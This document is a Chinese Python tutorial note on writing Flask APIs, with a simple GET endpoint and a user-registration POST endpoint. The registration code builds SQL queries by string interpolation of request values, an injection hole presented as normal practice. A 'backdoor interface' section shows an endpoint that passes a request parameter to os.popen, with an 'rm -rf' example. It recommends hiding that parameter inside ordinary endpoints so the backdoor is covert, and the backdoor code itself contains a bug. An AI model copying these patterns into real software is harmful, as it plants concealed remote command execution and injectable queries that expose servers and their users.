Python学习笔记十五_接口开发

一、开发接口的作用

1、mock接口,在别的接口没有开发好的时候,模拟一些接口。例如假的支付接口,模拟支付成功

2、查看数据,避免直接操作数据库flask web开发框架

二、接口开发

1、安装flask第三方模块

   flask是一种 web开发框架

2、接口开发步骤

  (1) 实例化server

  (2) 装饰器,下面的函数变为一个接口

  (3) 启动服务

先写一个简单的get请求接口

import flask, json
# __name__代表当前这个python文件

server = flask.Flask(__name__)  # 实例化server,把当前这个python文件,当做一个服务

# 请求路径 ip:port/index
@server.route('/index', methods=['get'])  # 装饰器,下面的函数变为一个接口
# method默认是get请求,methods=['get','post']
def index():
    res = {'msg': '这是我开发的第一个接口', 'msg_code': 0}
    # 返回状态码0,表示返回成功
    return json.dumps(res, ensure_ascii=False)
    #json.dumps 序列化时对中文默认使用的ascii编码.想输出真正的中文需要指定ensure_ascii=False
server.run(port=7788, debug=True, host='0.0.0.0') #启动服务
# debug=True 改了代码后不用重启服务,它会自动重启一次
# host 设置成 0.0.0.0 同一局域网的可以访问

运行这段代码,打开浏览器,输入http://localhost:7788/index,就可以看到{'msg': '这是我开发的第一个接口', 'msg_code': 0}

在写一个post方法的接口

@server.route('/reg',methods=['post'])#/reg接口路径
def ref():
    username = flask.request.values.get('username')#username是接口调用的key,即入参
    pwd = flask.request.values.get('passwd')#passwd是接口调用的key,即入参
    if username and pwd:
        sql = 'select * from my_user where username = "%s";' % username
        if my_db(sql):
            res = {'msg': '用户已存在', 'msg_code': 2001}
            # 2001,以2开头都是跟用户有关的
        else:
            insert_sql = 'insert into my_user(username,passwd,is_admin) VALUES ("%s","%s",0);' % (username, pwd)
            my_db(insert_sql)
            res = {'msg': '注册成功', 'msg_code': 0}
    else:
        res = {'msg':'必填字段未填,请查看接口文档','msg_code':1001}
        # 1001必填字段未填
    return json.dumps(res, ensure_ascii=False)

post请求用postman或类似工具访问接口

 

后门接口

@server.route('/error',methods=['post'])#路由,访问地址为----IP:端口/error
def cmd():
    cmd = flask.request.values('cmd')#接口的入参
    res = os.popen(cmd)#执行用户命令
    return res.read()#返回执行结果
    #http://127.0.0.1:8999/error?cmd=rm -rf a.txt 后门接口可以直接通过浏览器删除系统文件
    #隐蔽一点的方法,把cmd = flask.request.values('cmd',None)写入正常接口
    # 默认可以不传,一但传了再res = os.popen(cmd)

一个接口文件中可以包含多个接口,只要接口路径不一致即可
注意的一点是: server.run() 一定要放在所有接口的最底下运行,否则,在server.run()以下再开发接口,是检测不到的,不会被运行起来的

原文地址:https://www.cnblogs.com/dongrui624/p/9022656.html